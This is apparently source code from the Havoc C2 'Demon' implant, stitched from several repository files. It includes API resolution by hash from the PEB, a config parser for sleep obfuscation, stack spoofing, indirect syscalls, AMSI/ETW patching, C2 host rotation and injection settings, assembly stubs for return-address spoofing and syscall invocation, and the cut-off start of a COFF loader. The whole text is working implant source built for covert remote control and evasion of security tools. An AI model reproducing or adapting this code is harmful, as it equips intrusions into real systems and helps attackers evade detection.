LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCOPYMAPPEDMEMORY ); /* Native functions */ Instance->Win32.NtClose = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCLOSE ); Instance->Win32.NtCreateEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATEEVENT ); Instance->Win32.NtSetEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETEVENT ); Instance->Win32.NtSetInformationThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETINFORMATIONTHREAD ); Instance->Win32.NtSetInformationVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETINFORMATIONVIRTUALMEMORY ); Instance->Win32.NtGetNextThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTGETNEXTTHREAD ); Instance->Win32.NtOpenProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENPROCESS ); Instance->Win32.NtTerminateProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTERMINATEPROCESS ); Instance->Win32.NtQueryInformationProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONPROCESS ); Instance->Win32.NtQuerySystemInformation = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYSYSTEMINFORMATION ); Instance->Win32.NtAllocateVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTALLOCATEVIRTUALMEMORY ); Instance->Win32.NtQueueApcThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUEUEAPCTHREAD ); Instance->Win32.NtOpenThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENTHREAD ); Instance->Win32.NtOpenThreadToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENTHREADTOKEN ); Instance->Win32.NtResumeThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTRESUMETHREAD ); Instance->Win32.NtSuspendThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSUSPENDTHREAD ); Instance->Win32.NtCreateEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATEEVENT ); Instance->Win32.NtDuplicateObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTDUPLICATEOBJECT ); Instance->Win32.NtGetContextThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTGETCONTEXTTHREAD ); Instance->Win32.NtSetContextThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETCONTEXTTHREAD ); Instance->Win32.NtWaitForSingleObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTWAITFORSINGLEOBJECT ); Instance->Win32.NtAlertResumeThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTALERTRESUMETHREAD ); Instance->Win32.NtSignalAndWaitForSingleObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSIGNALANDWAITFORSINGLEOBJECT ); Instance->Win32.NtTestAlert = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTESTALERT ); Instance->Win32.NtCreateThreadEx = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATETHREADEX ); Instance->Win32.NtOpenProcessToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENPROCESSTOKEN ); Instance->Win32.NtDuplicateToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTDUPLICATETOKEN ); Instance->Win32.NtProtectVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTPROTECTVIRTUALMEMORY ); Instance->Win32.NtTerminateThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTERMINATETHREAD ); Instance->Win32.NtWriteVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTWRITEVIRTUALMEMORY ); Instance->Win32.NtContinue = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCONTINUE ); Instance->Win32.NtReadVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTREADVIRTUALMEMORY ); Instance->Win32.NtFreeVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTFREEVIRTUALMEMORY ); Instance->Win32.NtUnmapViewOfSection = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTUNMAPVIEWOFSECTION ); Instance->Win32.NtQueryVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYVIRTUALMEMORY ); Instance->Win32.NtQueryInformationToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTOKEN ); Instance->Win32.NtQueryInformationThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTHREAD ); Instance->Win32.NtQueryObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYOBJECT ); Instance->Win32.NtTraceEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTRACEEVENT ); } else { PUTS( "Failed to load ntdll from PEB" ) return; } /* resolve Windows version */ Instance->Session.OSVersion = WIN_VERSION_UNKNOWN; OSVersionExW.dwOSVersionInfoSize = sizeof( OSVersionExW ); if ( NT_SUCCESS( Instance->Win32.RtlGetVersion( &OSVersionExW ) ) ) { if ( OSVersionExW.dwMajorVersion >= 5 ) { if ( OSVersionExW.dwMajorVersion == 5 ) { if ( OSVersionExW.dwMinorVersion == 1 ) { Instance->Session.OSVersion = WIN_VERSION_XP; } } else if ( OSVersionExW.dwMajorVersion == 6 ) { if ( OSVersionExW.dwMinorVersion == 0 ) { Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_VISTA : WIN_VERSION_2008; } else if ( OSVersionExW.dwMinorVersion == 1 ) { Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_7 : WIN_VERSION_2008_R2; } else if ( OSVersionExW.dwMinorVersion == 2 ) { Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8 : WIN_VERSION_2012; } else if ( OSVersionExW.dwMinorVersion == 3 ) { Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8_1 : WIN_VERSION_2012_R2; } } else if ( OSVersionExW.dwMajorVersion == 10 ) { if ( OSVersionExW.dwMinorVersion == 0 ) { Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_10 : WIN_VERSION_2016_X; } } } } PRINTF( "OSVersion: %d\n", Instance->Session.OSVersion ); /* load kernel32.dll functions */ if ( ( Instance->Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) { Instance->Win32.LoadLibraryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOADLIBRARYW ); Instance->Win32.VirtualProtectEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALPROTECTEX ); Instance->Win32.VirtualProtect = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALPROTECT ); Instance->Win32.LocalAlloc = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALALLOC ); Instance->Win32.LocalReAlloc = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALREALLOC ); Instance->Win32.LocalFree = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALFREE ); Instance->Win32.CreateRemoteThread = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEREMOTETHREAD ); Instance->Win32.CreateToolhelp32Snapshot = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATETOOLHELP32SNAPSHOT ); Instance->Win32.Process32FirstW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PROCESS32FIRSTW ); Instance->Win32.Process32NextW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PROCESS32NEXTW ); Instance->Win32.CreatePipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEPIPE ); Instance->Win32.CreateProcessW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEPROCESSW ); Instance->Win32.GetFullPathNameW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFULLPATHNAMEW ); Instance->Win32.CreateFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEFILEW ); Instance->Win32.GetFileSize = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILESIZE ); Instance->Win32.GetFileSizeEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILESIZEEX ); Instance->Win32.CreateNamedPipeW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATENAMEDPIPEW ); Instance->Win32.ConvertFiberToThread = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONVERTFIBERTOTHREAD ); Instance->Win32.CreateFiberEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEFIBEREX ); Instance->Win32.ReadFile = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_READFILE ); Instance->Win32.VirtualAllocEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALALLOCEX ); Instance->Win32.WaitForSingleObjectEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WAITFORSINGLEOBJECTEX ); Instance->Win32.GetComputerNameExA = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCOMPUTERNAMEEXA ); Instance->Win32.GetExitCodeProcess = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETEXITCODEPROCESS ); Instance->Win32.GetExitCodeThread = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETEXITCODETHREAD ); Instance->Win32.TerminateProcess = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_TERMINATEPROCESS ); Instance->Win32.ConvertThreadToFiberEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONVERTTHREADTOFIBEREX ); Instance->Win32.SwitchToFiber = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SWITCHTOFIBER ); Instance->Win32.DeleteFiber = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DELETEFIBER ); Instance->Win32.AllocConsole = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_ALLOCCONSOLE ); Instance->Win32.FreeConsole = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FREECONSOLE ); Instance->Win32.GetConsoleWindow = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCONSOLEWINDOW ); Instance->Win32.GetStdHandle = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETSTDHANDLE ); Instance->Win32.SetStdHandle = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SETSTDHANDLE ); Instance->Win32.WaitNamedPipeW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WAITNAMEDPIPEW ); Instance->Win32.PeekNamedPipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PEEKNAMEDPIPE ); Instance->Win32.DisconnectNamedPipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DISCONNECTNAMEDPIPE ); Instance->Win32.WriteFile = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WRITEFILE ); Instance->Win32.ConnectNamedPipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONNECTNAMEDPIPE ); Instance->Win32.FreeLibrary = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FREELIBRARY ); Instance->Win32.GetCurrentDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCURRENTDIRECTORYW ); Instance->Win32.GetFileAttributesW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILEATTRIBUTESW ); Instance->Win32.FindFirstFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDFIRSTFILEW ); Instance->Win32.FindNextFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDNEXTFILEW ); Instance->Win32.FindClose = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDCLOSE ); Instance->Win32.FileTimeToSystemTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FILETIMETOSYSTEMTIME ); Instance->Win32.SystemTimeToTzSpecificLocalTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SYSTEMTIMETOTZSPECIFICLOCALTIME ); Instance->Win32.RemoveDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_REMOVEDIRECTORYW ); Instance->Win32.DeleteFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DELETEFILEW ); Instance->Win32.CreateDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEDIRECTORYW ); Instance->Win32.CopyFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_COPYFILEW ); Instance->Win32.MoveFileExW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_MOVEFILEEXW ); Instance->Win32.SetCurrentDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SETCURRENTDIRECTORYW ); Instance->Win32.Wow64DisableWow64FsRedirection = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WOW64DISABLEWOW64FSREDIRECTION ); Instance->Win32.Wow64RevertWow64FsRedirection = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WOW64REVERTWOW64FSREDIRECTION ); Instance->Win32.GetModuleHandleA = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETMODULEHANDLEA ); Instance->Win32.GetSystemTimeAsFileTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETSYSTEMTIMEASFILETIME ); Instance->Win32.GetLocalTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETLOCALTIME ); Instance->Win32.DuplicateHandle = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DUPLICATEHANDLE ); Instance->Win32.AttachConsole = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_ATTACHCONSOLE ); Instance->Win32.WriteConsoleA = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WRITECONSOLEA ); Instance->Win32.GlobalFree = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GLOBALFREE ); } /* now that we loaded some of the basic apis lets parse the config and see how we load the rest */ /* Parse config */ DemonConfig(); /* now do post init stuff after parsing the config */ if ( Instance->Config.Implant.SysIndirect ) { /* Initialize indirect syscalls + get SSN from every single syscall we need */ if ( ! SysInitialize( Instance->Modules.Ntdll ) ) { PUTS( "Failed to Initialize syscalls" ) /* NOTE: the agent is going to keep going for now. */ } } /* shuffle array */ ShuffleArray( RtModules, SIZEOF_ARRAY( RtModules ) ); /* load all modules */ for ( int i = 0; i < SIZEOF_ARRAY( RtModules ); i++ ) { /* load module */ if ( ! ( ( BOOL (*)() ) RtModules[ i ] ) () ) { PUTS( "Failed to load a module" ) return; } } if ( KArgs ) { #if SHELLCODE Instance->Session.ModuleBase = KArgs->Demon; Instance->Session.ModuleSize = KArgs->DemonSize; Instance->Session.TxtBase = KArgs->TxtBase; Instance->Session.TxtSize = KArgs->TxtSize; FreeReflectiveLoader( KArgs->KaynLdr ); #endif } else { Instance->Session.ModuleBase = ModuleInst; /* if ModuleBase has not been specified then lets use the current process one */ if ( ! Instance->Session.ModuleBase ) { /* if we specified nothing as our ModuleBase then this either means that we are an exe or we should use the whole process */ Instance->Session.ModuleBase = LdrModulePeb( 0 ); } if ( Instance->Session.ModuleBase ) { Instance->Session.ModuleSize = IMAGE_SIZE( Instance->Session.ModuleBase ); } } #if _WIN64 Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_AMD64; Instance->Session.Process_Arch = PROCESSOR_ARCHITECTURE_AMD64; #else Instance->Session.Process_Arch = PROCESSOR_ARCHITECTURE_INTEL; Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_UNKNOWN; if ( ProcessIsWow( NtCurrentProcess() ) ) { Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_AMD64; } else { Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_INTEL; } #endif Instance->Session.PID = U_PTR( Instance->Teb->ClientId.UniqueProcess ); Instance->Session.TID = U_PTR( Instance->Teb->ClientId.UniqueThread ); Instance->Session.Connected = FALSE; Instance->Session.AgentID = RandomNumber32(); Instance->Config.AES.Key = NULL; /* TODO: generate keys here */ Instance->Config.AES.IV = NULL; /* Linked lists */ Instance->Tokens.Vault = NULL; Instance->Tokens.Impersonate = FALSE; Instance->Jobs = NULL; Instance->Downloads = NULL; Instance->Sockets = NULL; Instance->HwBpEngine = NULL; Instance->Packages = NULL; /* Global Objects */ Instance->Dotnet = NULL; /* if cfg is enforced (and if sleep obf is enabled) * add every address we're going to use to the Cfg address list * to not raise an exception while performing sleep obfuscation */ if ( CfgQueryEnforced() ) { PUTS( "Adding required function module &addresses to the cfg list" ); /* common functions */ CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtContinue ); CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtSetContextThread ); CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtGetContextThread ); CfgAddressAdd( Instance->Modules.Advapi32, Instance->Win32.SystemFunction032 ); /* ekko sleep obf */ CfgAddressAdd( Instance->Modules.Kernel32, Instance->Win32.WaitForSingleObjectEx ); CfgAddressAdd( Instance->Modules.Kernel32, Instance->Win32.VirtualProtect ); CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtSetEvent ); /* foliage sleep obf */ CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtTestAlert ); CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtWaitForSingleObject ); CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtProtectVirtualMemory ); CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.RtlExitUserThread ); } PRINTF( "Instance DemonID => %x\n", Instance->Session.AgentID ) } VOID DemonConfig() { PARSER Parser = { 0 }; PVOID Buffer = NULL; ULONG Temp = 0; UINT32 Length = 0; DWORD J = 0; PRINTF( "Config Size: %d\n", sizeof( AgentConfig ) ) ParserNew( &Parser, AgentConfig, sizeof( AgentConfig ) ); RtlSecureZeroMemory( AgentConfig, sizeof( AgentConfig ) ); Instance->Config.Sleeping = ParserGetInt32( &Parser ); Instance->Config.Jitter = ParserGetInt32( &Parser ); PRINTF( "Sleep: %d (%d%%)\n", Instance->Config.Sleeping, Instance->Config.Jitter ) Instance->Config.Memory.Alloc = ParserGetInt32( &Parser ); Instance->Config.Memory.Execute = ParserGetInt32( &Parser ); PRINTF( "[CONFIG] Memory: \n" " - Allocate: %d \n" " - Execute : %d \n", Instance->Config.Memory.Alloc, Instance->Config.Memory.Execute ) Buffer = ParserGetBytes( &Parser, &Length ); Instance->Config.Process.Spawn64 = Instance->Win32.LocalAlloc( LPTR, Length ); MemCopy( Instance->Config.Process.Spawn64, Buffer, Length ); Buffer = ParserGetBytes( &Parser, &Length ); Instance->Config.Process.Spawn86 = Instance->Win32.LocalAlloc( LPTR, Length ); MemCopy( Instance->Config.Process.Spawn86, Buffer, Length ); PRINTF( "[CONFIG] Spawn: \n" " - [x64] => %ls \n" " - [x86] => %ls \n", Instance->Config.Process.Spawn64, Instance->Config.Process.Spawn86 ) Instance->Config.Implant.SleepMaskTechnique = ParserGetInt32( &Parser ); Instance->Config.Implant.SleepJmpBypass = ParserGetInt32( &Parser ); Instance->Config.Implant.StackSpoof = ParserGetInt32( &Parser ); Instance->Config.Implant.ProxyLoading = ParserGetInt32( &Parser ); Instance->Config.Implant.SysIndirect = ParserGetInt32( &Parser ); Instance->Config.Implant.AmsiEtwPatch = ParserGetInt32( &Parser ); #ifdef TRANSPORT_HTTP Instance->Config.Implant.DownloadChunkSize = 0x80000; /* 512k */ #else Instance->Config.Implant.DownloadChunkSize = 0xfc00; /* 63k, needs to be less than PIPE_BUFFER_MAX */ #endif PRINTF( "[CONFIG] Sleep Obfuscation: \n" " - Technique: %d \n" " - Stack Dup: %s \n" "[CONFIG] ProxyLoading: %d\n" "[CONFIG] SysIndirect : %s\n" "[CONFIG] AmsiEtwPatch: %d\n", Instance->Config.Implant.SleepMaskTechnique, Instance->Config.Implant.StackSpoof ? "TRUE" : "FALSE", Instance->Config.Implant.ProxyLoading, Instance->Config.Implant.SysIndirect ? "TRUE" : "FALSE", Instance->Config.Implant.AmsiEtwPatch ) #ifdef TRANSPORT_HTTP Instance->Config.Transport.KillDate = ParserGetInt64( &Parser ); PRINTF( "KillDate: %d\n", Instance->Config.Transport.KillDate ) // check if the kill date has already passed if ( Instance->Config.Transport.KillDate && GetSystemFileTime() >= Instance->Config.Transport.KillDate ) { // refuse to run // TODO: exit process? Instance->Win32.RtlExitUserThread( 0 ); } Instance->Config.Transport.WorkingHours = ParserGetInt32( &Parser ); Buffer = ParserGetBytes( &Parser, &Length ); Instance->Config.Transport.Method = MmHeapAlloc( Length + sizeof( WCHAR ) ); MemCopy( Instance->Config.Transport.Method, Buffer, Length ); Instance->Config.Transport.HostRotation = ParserGetInt32( &Parser ); Instance->Config.Transport.HostMaxRetries = 0; /* Max retries. 0 == infinite retrying * TODO: add this to the yaotl language and listener GUI */ Instance->Config.Transport.Hosts = NULL; Instance->Config.Transport.Host = NULL; /* J contains our Hosts counter */ J = ParserGetInt32( &Parser ); PRINTF( "[CONFIG] Hosts [%d]\n:", J ) for ( int i = 0; i < J; i++ ) { Buffer = ParserGetBytes( &Parser, &Length ); Temp = ParserGetInt32( &Parser ); PRINTF( " - %ls:%ld\n", Buffer, Temp ) /* if our host address is longer than 0 then lets use it. */ if ( Length > 0 ) { /* Add parse host data to our linked list */ HostAdd( Buffer, Length, Temp ); } } Instance->Config.Transport.NumHosts = HostCount(); PRINTF( "Hosts added => %d\n", Instance->Config.Transport.NumHosts ) /* Get Host data based on our host rotation strategy */ Instance->Config.Transport.Host = HostRotation( Instance->Config.Transport.HostRotation ); PRINTF( "Host going to be used is => %ls:%ld\n", Instance->Config.Transport.Host->Host, Instance->Config.Transport.Host->Port ) // Listener Secure (SSL) Instance->Config.Transport.Secure = ParserGetInt32( &Parser ); PRINTF( "[CONFIG] Secure: %s\n", Instance->Config.Transport.Secure ? "TRUE" : "FALSE" ); // UserAgent Buffer = ParserGetBytes( &Parser, &Length ); Instance->Config.Transport.UserAgent = MmHeapAlloc( Length + sizeof( WCHAR ) ); MemCopy( Instance->Config.Transport.UserAgent, Buffer, Length ); PRINTF( "[CONFIG] UserAgent: %ls\n", Instance->Config.Transport.UserAgent ); // Headers J = ParserGetInt32( &Parser ); Instance->Config.Transport.Headers = MmHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) ); PRINTF( "[CONFIG] Headers [%d]:\n", J ); for ( INT i = 0; i < J; i++ ) { Buffer = ParserGetBytes( &Parser, &Length ); Instance->Config.Transport.Headers[ i ] = MmHeapAlloc( Length + sizeof( WCHAR ) ); MemSet( Instance->Config.Transport.Headers[ i ], 0, Length ); MemCopy( Instance->Config.Transport.Headers[ i ], Buffer, Length ); #ifdef DEBUG PRINTF( " - %ls\n", Instance->Config.Transport.Headers[ i ] ); #endif } Instance->Config.Transport.Headers[ J + 1 ] = NULL; // Uris J = ParserGetInt32( &Parser ); Instance->Config.Transport.Uris = MmHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) ); PRINTF( "[CONFIG] Uris [%d]:\n", J ); for ( INT i = 0; i < J; i++ ) { Buffer = ParserGetBytes( &Parser, &Length ); Instance->Config.Transport.Uris[ i ] = MmHeapAlloc( Length + sizeof( WCHAR ) ); MemSet( Instance->Config.Transport.Uris[ i ], 0, Length + sizeof( WCHAR ) ); MemCopy( Instance->Config.Transport.Uris[ i ], Buffer, Length ); #ifdef DEBUG PRINTF( " - %ls\n", Instance->Config.Transport.Uris[ i ] ); #endif } Instance->Config.Transport.Uris[ J + 1 ] = NULL; // check if proxy connection is enabled Instance->Config.Transport.Proxy.Enabled = ( BOOL ) ParserGetInt32( &Parser );; if ( Instance->Config.Transport.Proxy.Enabled ) { PUTS( "[CONFIG] [PROXY] Enabled" ); Buffer = ParserGetBytes( &Parser, &Length ); Instance->Config.Transport.Proxy.Url = MmHeapAlloc( Length + sizeof( WCHAR ) ); MemCopy( Instance->Config.Transport.Proxy.Url, Buffer, Length ); PRINTF( "[CONFIG] [PROXY] Url: %ls\n", Instance->Config.Transport.Proxy.Url ); Buffer = ParserGetBytes( &Parser, &Length ); if ( Length > 0 ) { Instance->Config.Transport.Proxy.Username = MmHeapAlloc( Length ); MemCopy( Instance->Config.Transport.Proxy.Username, Buffer, Length ); PRINTF( "[CONFIG] [PROXY] Username: %ls\n", Instance->Config.Transport.Proxy.Username ); } else Instance->Config.Transport.Proxy.Username = NULL; Buffer = ParserGetBytes( &Parser, &Length ); if ( Length > 0 ) { Instance->Config.Transport.Proxy.Password = MmHeapAlloc( Length ); MemCopy( Instance->Config.Transport.Proxy.Password, Buffer, Length ); PRINTF( "[CONFIG] [PROXY] Password: %ls\n", Instance->Config.Transport.Proxy.Password ); } else Instance->Config.Transport.Proxy.Password = NULL; } else { PUTS( "[CONFIG] [PROXY] Disabled" ); } #endif #ifdef TRANSPORT_SMB Buffer = ParserGetBytes( &Parser, &Length ); Instance->Config.Transport.Name = Instance->Win32.LocalAlloc( LPTR, Length ); MemCopy( Instance->Config.Transport.Name, Buffer, Length ); PRINTF( "[CONFIG] PipeName: %ls\n", Instance->Config.Transport.Name ); Instance->Config.Transport.KillDate = ParserGetInt64( &Parser ); PRINTF( "KillDate: %d\n", Instance->Config.Transport.KillDate ) // check if the kill date has already passed if ( Instance->Config.Transport.KillDate && GetSystemFileTime() >= Instance->Config.Transport.KillDate ) { // refuse to run // TODO: exit process? Instance->Win32.RtlExitUserThread(0); } Instance->Config.Transport.WorkingHours = ParserGetInt32( &Parser ); #endif Instance->Config.Implant.ThreadStartAddr = Instance->Win32.LdrLoadDll + 0x12; /* TODO: default -> change that or make it optional via builder or profile */ Instance->Config.Inject.Technique = INJECTION_TECHNIQUE_SYSCALL; ParserDestroy( &Parser ); } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/asm/000077500000000000000000000000001467014221700215145ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Demon/src/asm/Spoof.x64.asm000066400000000000000000000006511467014221700237260ustar00rootroot00000000000000[BITS 64] DEFAULT REL GLOBAL Spoof [SECTION .text] Spoof: pop r11 add rsp, 8 mov rax, [rsp + 24] mov r10, [rax] mov [rsp], r10 mov r10, [rax + 8] mov [rax + 8], r11 mov [rax + 16], rbx lea rbx, [fixup] mov [rax], rbx mov rbx, rax jmp r10 fixup: sub rsp, 16 mov rcx, rbx mov rbx, [rcx + 16] jmp QWORD [rcx + 8]havoc-0.6~git20240910.69ce17c/payloads/Demon/src/asm/Spoof.x86.asm000066400000000000000000000001071467014221700237260ustar00rootroot00000000000000[BITS 32] DEFAULT REL GLOBAL _Spoof [SECTION .text] _Spoof: ret havoc-0.6~git20240910.69ce17c/payloads/Demon/src/asm/Syscall.x64.asm000066400000000000000000000006271467014221700242550ustar00rootroot00000000000000[bits 64] ; export the functions global SysSetConfig global SysInvoke section .text SysSetConfig: mov r11, rcx ret ;; Invoke Syscall and pass given arguments SysInvoke: mov r10, rcx mov eax, [r11 + 0x8] ; set the syscall service number into eax jmp QWORD [r11] ; jump to the following syscall ret ; finished executionhavoc-0.6~git20240910.69ce17c/payloads/Demon/src/asm/Syscall.x86.asm000066400000000000000000000012411467014221700242520ustar00rootroot00000000000000[bits 32] ; export the functions global _SysSetConfig global _SysInvoke global _IsWoW64 section .text _SysSetConfig: mov edx, [esp + 0x4] ret ;; Invoke Syscall and pass given arguments _SysInvoke: mov ebx, [edx + 0x0] ; set the address of the syscall mov eax, [edx + 0x4] ; set the syscall service number into eax mov edx, esp sub edx, 0x4 call DWORD ebx ; call the following syscall ret ; finished execution _IsWoW64: mov eax, [fs:0xc0] test eax, eax jne wow64 mov eax, 0 ret wow64: mov eax, 1 rethavoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/000077500000000000000000000000001467014221700216645ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/CoffeeLdr.c000066400000000000000000000715361467014221700236750ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #if _WIN64 // __imp_ #define COFF_PREP_SYMBOL 0xec6ba2a8 #define COFF_PREP_SYMBOL_SIZE 6 // __imp_Beacon #define COFF_PREP_BEACON 0xd0a409b0 #define COFF_PREP_BEACON_SIZE ( COFF_PREP_SYMBOL_SIZE + 6 ) // .refptr.Instance #define COFF_INSTANCE 0xbfded9c9 #else // __imp__ #define COFF_PREP_SYMBOL 0x79dff807 #define COFF_PREP_SYMBOL_SIZE 7 // __imp__Beacon #define COFF_PREP_BEACON 0x4c20aa4f #define COFF_PREP_BEACON_SIZE ( COFF_PREP_SYMBOL_SIZE + 6 ) // _Instance #define COFF_INSTANCE 0xb341b5b9 #endif PVOID CoffeeFunctionReturn = NULL; LONG WINAPI 